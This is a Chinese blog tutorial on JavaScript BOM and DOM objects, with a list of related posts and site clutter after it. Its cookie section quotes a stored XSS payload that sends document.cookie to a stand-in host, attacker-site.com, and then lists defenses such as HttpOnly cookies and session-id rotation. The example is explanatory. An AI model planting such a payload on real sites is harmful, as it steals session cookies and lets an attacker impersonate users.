【JavaScript:操作BOM、DOM对象】

学 JavaScript 前,这 4 个词你必须懂:JS、ES、DOM、BOM 每次有人问我“JavaScript 到底是什么?”我就忍不住想讲个故事。它不是冰冷的语法,而是让网页活过来的灵魂;它有标准、有规则、有魔法通道,还有能操控浏览器的超能力。今天就跟着小米,一起走进 JavaScript 的奇妙世界吧! 阅读详情

7. 操作BOM对象

BOM:浏览器对象模型

window

window代表浏览器窗口

window.innerHeight
754
window.outerHeight
824
window.innerWidth
378
window.outerWidth
1536

navigator

navigator,封装了浏览器的信息

navigator.appName
'Netscape'
navigator.appVersion
'5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36'

大多数时候,我们不会使用navigator对象,因为可以被人为修改

不建议使用这些属性判断及编写代码

screen

屏幕分辨率

screen.width
1920
screen.height
1080

location

location代表当前页面的URL信息

host: "www.baidu.com"
href: "https://www.baidu.com/"
protocol: "https:"
reload: ƒ reload() //刷新网页
//设置新的地址
location.assign('https://blog.youkuaiyun.com/Editplusplusplus?spm=1011.2124.3001.5343')

document

document当前的页面, HTML DOM文档树

document.title
'百度一下,你就知道'
document.title = '123'
'123'

获取具体的文档树节点

<body>
    <dl id="app">
        <dt>Java</dt>
        <dd>JavaSE</dd>
        <dd>JavaEE</dd>
    </dl>

    <script>
        var dl = document.getElementById('app');
    </script>

</body>

image.png

获取cookie

document.cookie

劫持cookie原理:参考https://www.cnblogs.com/doit8791/p/5926575.html

  • XXC攻击:输入javascript脚本, 窃取并投递cookie信息到自己的站点.

    比如攻击者以一个普通用户登录进来,然后在输入框中提交以下数据:

<a href=# οnclick=\”document.location=\’http://attacker-site.com/xss_collect?m=\’+escape(document.cookie);\”>快看这里

http://attacker-site.com/xss_collect/m=xxxxxxyyyyyzzz

​ 有了该session-id,攻击者在会话有效期内即可获得管理员的权限,并且由于攻击数据已添加入数据库,只要攻击数据未 被删除,那么攻击还有可能生效,是持久性的

​ 基于XSS攻击, 窃取Cookie信息, 并冒充他人身份.

Cookie劫持的防:

  • 给Cookie添加HttpOnly属性, 这种属性设置后, 只能在http请求中传递, 在脚本中,document.cookie无法获取到该Cookie值. 对XSS的攻击, 有一定的防御值. 但是对网络拦截, 还是泄露了.
  • **在cookie中添加校验信息, 这个校验信息和当前用户外置环境有些关系,比如ip,user agent等有关.**这样当cookie被人劫持了, 并冒用, 但是在服务器端校验的时候, 发现校验值发生了变化, 因此要求重新登录, 这样也是种很好的思路, 去规避cookie劫持.
  • 第三种办法:cookie中session id的定时更换, 让session id按一定频率变换, 同时对用户而言, 该操作是透明的, 这样保证了服务体验的一致性.

history

history代表浏览器的历史记录

history.forward() //前进
history.back() //后退

8. 操作DOM对象

DOM:文档对象模型

核心

浏览器网页就是一个DOM树形结构

  • 更新:更新Dom节点
  • 遍历Dom节点:得到Dom节点
  • 删除:删除一个Dom节点
  • 添加:添加一个新的节点

要操作一个Dom节点,就必须要先获得这个Dom节点

获得Dom节点

var h1 = document.getElementsByTagName('h1');
var p1 = document.getElementById('p1');
var p2 = document.getElementsByClassName('p2');
var father = document.getElementById('father');

var childrens = father.children; //获取父节点下的所有子节点

father.firstChild;
father.lastChild;
father.nextElementSibling;
father.previousElementSibling;

这是原生代码,之后尽量用jQuery等

更新Dom节点

<body>

    <div id="id1">

    </div>

    <script>
        var id1 = document.getElementById('id1');
    </script>

</body>

操作文本

  • id1.innerText = '456' 修改文本的值
  • id1.innerHTML = '<strong>123</strong>'可以解析html文本标签

操作css

id1.style.color 'yellow';
id1.style.fontsize='20px';
id1.style.padding ='2em'

删除Dom节点

删除节点的步骤:先获取父节点,再通过父元素删除自己

<div id="father">
    <h1>标题一</h1>
    <p id="p1">p1</p>
    <p class="p2">p2</p>
</div>

<script>
    var self = document.getElementById('p1');
    var father = p1.parentElement;
    father.removeChild(p1);
</script>

注意:删除多个节点的时候,children是时刻变化的,按下标删除节点的时候一定要注意。

father.removeChild(father,children[0]);
father.removeChild(father,children[1]);
father.removeChild(father,children[2]);

插入节点

我们获得了某个Dom节点,假设这个Dom节点是空的,我们通过innerHTML就可以增加一个元素了;但是这个Dom节点已经存在元素了

<body>

    <p id="js">JavaScript</p>

    <div id="list">
        <p id="se">JavaSE</p>
        <p id="ee">JavaEE</p>
        <p id="me">JavaME</p>
    </div>

    <script>
        var js = document.getElementById("js");
        var list = document.getElementById("list");
        list.append(js); //追加在后面
    </script>


</body>

image.png

创建一个新的标签,实现插入

//通过js创建一个结点
var newP = document.createElement('p'); //创建一个p标签
newP.id = 'newP';
newP.innerText = 'Hello world';

list.append(newP); 
  • setAttribute() 方法

    setAttribute() 方法添加指定的属性,并为其赋指定的值。

    如果这个指定的属性已存在,则仅设置/更改值。

    设置 input 元素的 type 属性:

document.getElementsByTagName("INPUT")[0].setAttribute("type","button");
参数类型描述
attributenameString必需。您希望添加的属性的名称。
attributevalueString必需。您希望添加的属性值。

insertBefore

<p id="js">JavaScript</p>

<div id="list">
    <p id="se">JavaSE</p>
<p id="ee">JavaEE</p>
<p id="me">JavaME</p>
</div>

<script>
    var ee = document.getElementById('ee');
var js = document.getElementById('js'); 
ee.insertBefore(js, ee.firstChild);
</script>

image.png

集成电路设计笔记(七)UVLO设计 1. 什么是UVLO 欠压锁定(Undervoltage-Lockout)简称UVLO,是电子设备中在电源电压低于正常工程准位时,切断电源的电路。在嵌入式系统中常会用UVLO监控电池电压,若电压低于一定值,会直接切断电源,保护嵌入式系统的电路。 许多电子设备中都有UVLO的功能,例如在镇流器中就有UVLO电路,若电压过低时直接切断电源。 UVLO就是低电压锁定; 低压关断. 欠压关断模式是当供电电压低于IC的开启门限电压时的一种保护模式。欠压关断模式可保证IC在供电电压不足时不致于被损坏。一个低电压锁定( 阅读详情

相关推荐

Python爬取京东商品数据保姆级教程(附源码及效果图)

本文介绍了一个基于Python的京东商品数据爬取教程,适合入门级开发者使用。文章详细讲解了从安装依赖库(DrissionPage、pandas等)到完成数据爬取的全过程,包括:1. 模拟用户搜索操作;2. 解析商品标题、价格、销量等关键信息;3. 处理复杂数据格式(如转换万级销量);4. 数据存储与Excel导出。教程提供了完整的封装函数,支持自定义搜索关键词和爬取数量,并包含错误处理和多种元素定位方式。最终数据会按时间戳命名导出为Excel文件,方便用于课程作业或毕业设计。

weixin_46449236的博客 1877

JavaScript BOM操作(超详细)

由于window对象是全局对象,所以在使用window对象的属性和方法时,window可以省略不写.例如,之前直接使用的alert()方法、confirm()方法及prompt()方法的用法、本节主要讲解open()方法和close()方法,JavaScript定时函数会在后面中详细介绍。设置间谒调用的方法是setInterval(),接收的参数与setTimeout()方法相同,为要执行的代码和每次执行之前需要等待的毫秒数。可以通过数组的名称和下标直接访问数组的元素,访问数组的表示形式,数组名[下标]。

wu_ry的博客 2120

第四篇:关于python程序打包的问题-找不到fsspec

这个问题困扰了我将近两天的时间一直找不到什么好的办法,甚至打算放弃。主要原因是身边没有可以述说的人,也没有可以请教的人。正在想要放弃的时候找到了解决办法。 打包后运行程序是这样的, 大概意思是找不见fsspec这个依赖,刚接触python说实话对于这些第三方库理解不是很到位,我的理解就是:类似于java程序中的jar包,程序找不见了。可怎么让他找见了,刚开始以为我自己没有安装fsspec,在cmd中进行了安装,结果如下图所示 很明显,已经安装并且安装目录都有,跟着网上的一些解决办法,在打包的时候把这.

weixin_47861710的博客 5866

第二章 JavaScript操作BOM对象

一个参数,确认对话框,显示提示对话框的信息,"确认"按钮和取消按钮,单击确认则返回true,单击取消按钮返回false,因此与if-else语句搭配使用。训练要点Date对象的使用setInterval( )方法的使用需求说明制作显示年、月、日、星期几,并且显示上午(AM)和下午(PM)的十二进制的时钟。两个参数,输入对话框,用来提示用户输入一些信息,单机取消按钮则返回null,单击确定按钮则返回用户输入的值,常用于收集关于特定问题而反馈的信息。Array:用于再单独的变量名中存储一系列的值。

weixin_65279640的博客 1199

HTPA 32x32d热成像传感器实战指南:从替代MLX90640到精准测温

本文为HTPA 32x32d热成像传感器提供了从硬件连接到精准测温的完整实战指南。针对MLX90640替代需求,详细解析了HTPA传感器的核心优势、IIC通信要点、EEPROM校准数据读取与解析、独特的块数据读取模式,并逐步拆解了五大温度补偿计算流程,旨在帮助开发者克服高开发门槛,实现稳定可靠的非接触式测温应用。

weixin_29279101的博客 317

YOLO26 无损剪枝:稀疏训练 + 结构化通道裁剪

YOLO26 无损剪枝链路:YOLO26s (7.2M) → 稀疏训练 30 epoch (L1 on BN gamma, lam=0.01) → 阈值剪枝 50% (gamma<quantile(0.5)) → 结构化重建 Conv+BN → 微调 10 epoch (lr=1e-4) → YOLO26n (1.9M, mAP50 0.808, 仅降 0.6%)。核心贡献:稀疏训练让 BN gamma 趋向二元分布 (近 0 或近 1), 剪枝阈值可直接取 median 自动 50% 压缩。

m0_64661770的博客 263

JavaScript 之 BOM 操作

BOM 是指浏览器对象模型,浏览器对象模型提供了独立于内容的、可以与浏览器窗口进行互动的对象结构。BOM操作是指与浏览器窗口进行互动的操作。

m0_73759720的博客 1253

搞定ESD(四):ESD干扰耦合路径深入分析(二)

静电放电过程中静电干扰主要通过三种间接耦合方式干扰敏感源,即电场耦合、磁场耦合、地弹。前文已经深入分析了静电放电过程中的电场耦合,今天就谈谈静电放电过程中的磁场耦合,也可以理解环路耦合。熟话说的好〝人往高处走,水往低处流〞,静电电流也会选择阻抗最低的路径返回到源端。静电电流流会源端的路径实际上就构成了电流环路,当敏感信号形成的电流环路与静电电流环路存在共环路时,就会将静电放电干扰耦合到敏感信号环路内,干扰敏感信号。

记得诚 2797

JavaScript 操作 BOM

本文深入解析BOM(浏览器对象模型)的核心功能与应用场景,涵盖window、location、history等关键对象的详细用法。内容包含窗口层级关系、URL导航控制、历史记录管理、设备信息获取等核心技术,并提供SPA路由实现、地理定位、定时器优化等高级应用方案。特别强调安全限制与最佳实践,如同源策略、权限控制和性能优化技巧。文章通过代码示例演示了防抖处理、跨域通信、全屏API等实用功能,为开发者提供全面的BOM开发指南。

2401_83194362的博客 843

v86.01 鸿蒙内核源码分析 (静态分配篇) | 很简单的一位小朋友 | 百篇博客分析 OpenHarmony 源码

相比动态分配,静态内存池的分配就是个小弟弟,非常的简单,两个结构体 + 一张图 就能说明白。

日拱一卒,力出一孔 775

操作系统实验一到实验九合集(哈工大李治军)

操作系统实验一到实验九合集(哈工大李治军) 有详细代码及注释,程序已在本地测试,均能跑通

leoabcd12的博客 5万+

DOM原生JS操作,BOM对象属性,PC端网页特效

DOM 1.获取元素 获取元素的方法 使用 返回值 通过id获取 document.getElementByld() 返回的是对象 根据标签名获取 document.getElementsByTagName() 返回的是元素对象的集合,以伪数组的形式储存 通过HTML新增的方法获取(类名获取) document.getElementsByClassName() 返回数组 通过HTML新增的方法获取(指定选择器获取) document.querySelector() 返回指定选择器

qilv1020的博客 361

2026 年第十六届MathorCup数学应用挑战赛题目C题中老年人群高血脂症的风险预警及干预方案优化 2026妈妈杯 详细思路、代码、模型

2026 年第十六届MathorCup数学应用挑战赛题目 C题中老年人群高血脂症的风险预警及干预方案优化 人口老龄化进程的持续加快,使得40岁及以上中老年人群成为 慢性病防控的核心群体,其中高血脂症的发病率呈逐年攀升态势, 已成为诱发冠心病、脑梗死等心脑血管疾病的重要危险因素,严重 威胁中老年群体的心血管健康与生活质量,也加重了基层医疗的慢 病管理负担。从中医体质学视角来看,体质禀赋与偏颇是疾病发生 发展的内在根基,其中痰湿体质为中老年高血脂症的高发体质类型, 该体质人群存在痰湿内蕴、脾胃运化失常、水湿代谢

YOLO 756

JavaScript回顾02:BOM对象,DOM对象和表单操作

文章目录7 操作BOM对象(重点)8 操作DOM对象(重点)9 操作表单(验证) 7 操作BOM对象(重点) 浏览器介绍 JavaScript和浏览器的关系? JavaScript诞生就是为了能够让他在浏览器中运行 BOM:浏览器对象模型 IE 6~11 Chrome Safari苹果 FireFox linux默认 三方浏览器 QQ浏览器 360浏览器 window window代表浏览器窗口 Navigator Navigator封装了浏览器的信息 大多数时候,我们不会使用navigat

XXMRXXX的博客 331

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

计算机控制技术及应用

《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术,以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索,主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式,计算机控制系统的数学描述与基本分析方法,以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。

javascript三大块:ECMAScript,DOM,BOM。

javascript包括三大块:ECMAScript,DOM,BOM。 ECMAScript是JS核心语法(ES规范/ECMA-262标准)。 DOM:Document Object Model(文档对象模型,对网页当中的节点进行增删改的过程,html文档被当作一棵DOM树来看待。 例:var domObj = document.getElementById(“xxx”); BOM:Browser Object Model(浏览器对象模型),例如关闭浏览器窗口、打开一个新的浏览器窗口、后退、前进、浏览器地址

qq_51476492的博客 809

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

JS操作BOM和DOM

一、JS的实现包含三个部分 1.ECMAScript(核心) 描述了JS的语法和基本对象。 2.浏览器对象模型(BOM)与浏览器交互的方法和接口 3.文档对象模型 (DOM)处理网页内容的方法和接口 二、BOM BOM 表示的是 Browser Object Model,浏览器对象模型,BOM的核心的对象是Window对象: 由于BOM的window包含了document,因此可以直接使用window对象的document属性,从window.document我们可以知道,BOM中wind

Inory_ye的博客 317

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

AI辅助USB采集盒逆向:从私有协议到可复现脚本

在硬件调试与逆向工程中,USB协议分析是理解设备行为的基础。当设备采用厂商私有协议而非标准UVC类时,传统驱动往往失效,设备可能被误判为“废弃”。通过USB抓包工具(如usbmon、Wireshark)捕获控制传输数据,可以建立设备与主机之间的通信基线。AI在此类问题中的价值并非凭空生成完整驱动,而是辅助工程师解析请求结构、整理抓包数据并生成可验证的协议假设。实践中,借助pyusb编写最小脚本验证控制请求,能有效区分标准命令与私有扩展。这种工作流适用于老式采集卡、工业相机等非标准USB设备的驱动调试与功能恢

weixin_34160277的博客 326

JS-ECMAScript、DOM和BOM

JS-ECMAScript、DOM和BOM 1.JavaScript包括三大块 ECMAScript: JS的核心语法(ES规范/ECMA-262标准) DOM: Document Object Model(文档对象模型) 对网页中的节点进行增删改的过程。 HTML文档被当作一颗DOM树来看待。 var domObj = document.getElementById("id名"); BOM: Browser Object Model(浏览器对象模型) BOM编程涵盖的范围:

TSCCG的博客 207

BoM和Dom的关系

1、JavaScript包括三大块: ​ **ECMAScript:**JS的核心语法(ES规范 / ECMA-262标准) ​ DOM:Document Object Model(文档对象模型:对网页当中的节点进行增删改的过程。)HTML文档被当做 一棵DOM树来看待。 var domObj = document.getElementById("id");//这个方法见名知意得到元素的id ​ **BOM:**Browser Object Model(浏览器对象模型),关闭浏览器窗口、打.

HSH541的博客 531

javascript组成-ECMAScript、bom、dom

javascript组成1. javascript组成1.1 ECMAScript(js的一些语法)1.2 BOM:browser object model ----浏览器对象模型bom中包含的对象有:navigator(了解):浏览器的信息screen(了解):屏幕的信息location(重点掌握属性href):URL 的信息history(三个方法):url的历史信息window(重点):窗口对象,顶层对象window对象的其他方法 ------ 定时器相关联的方法1.3 DOM:document ob

qq_44058265的博客 470

JS-DOM对象

在JavaScript中每一个标签当作对象来处理 DOM对象拥有的成员包括:事件,属性,方法,区别js对象,js对象没有事件,因为js对象不用来和人交互 使用js对广义的DOM进行操作,主要包括两个方面: Browser对象,即BOM,指window.*** HTML DOM对象,即狭义的dom指,document.***...

dxm809的博客 149

js:BOM定时器, DOM:Document Object Model ⽂档对象模型,操作节点

<!-- 定时器 关注:br 延迟|间隔: 时间设置 ms 执行的代码: 函数 重复执行定时器 setInterval 延迟执行定时器 setTimeout 停止重复执行定时器: 定时器编号 = setInterval() clearInterval(定时器的编号) --> <title>定时器</title> <style> #box...

wangjinju77777的博客 236

JavaScript对象 BOM对象 及 DOM对象

目录   JavaScript对象 BOM对象 DOM对象 JavaScript对象         js内部的一些语法对象。 其中包括 String对象:处理字符串        Array对象:存储多个值,多种值 Date对象:处理日期和时间 等等 各个对象中都有相应的方法和属性可以使用。 全局函数不基于某个对象,可以在script中直接调用。     BO...

ljq961206的博客 869

Javascript之理解BOM和DOM

一个完整的JavaScript实现应该由以下三个部分构成:ECMAScript、DOM、BOM. ECMAScript: ES规定了JS的变成语法和基础核心知识,是所有浏览器厂商都遵守的JS语法工业标准。 DOM: 文档对象模型(Document Object Model),让我们通过DOM提供的接口来操作网页。DOM中,文档表示的就是整个HTML网页文档;对象表示将网页每个部分转换为一个对象;模型为使用模型表示对象间的关系,方便我们获取对象。通过dom,可以访问、

pakerder的博客 1253

JS中的BOM和DOM

一、Javascript组成 JavaScript的实现包括以下3个部分: 1、核心(ECMAScript):描述了JS的语法和基本对象。 2、文档对象模型 (DOM):处理网页内容的方法和接口。 3、浏览器对象模型(BOM):与浏览器交互的方法和接口。 BOM 1.定义:Browser Object Model 浏览器对象模型 提供了独立于内容与浏览器窗口进行交互的对象 2.功能: 弹出新的浏览...

pangxia1314的博客 188
上一篇: 【JavaScript:面向对象】
下一篇: 【JavaScript:操作表单、MD5加密】
莱布尼杰
博客等级 码龄9年 3粉丝 28原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值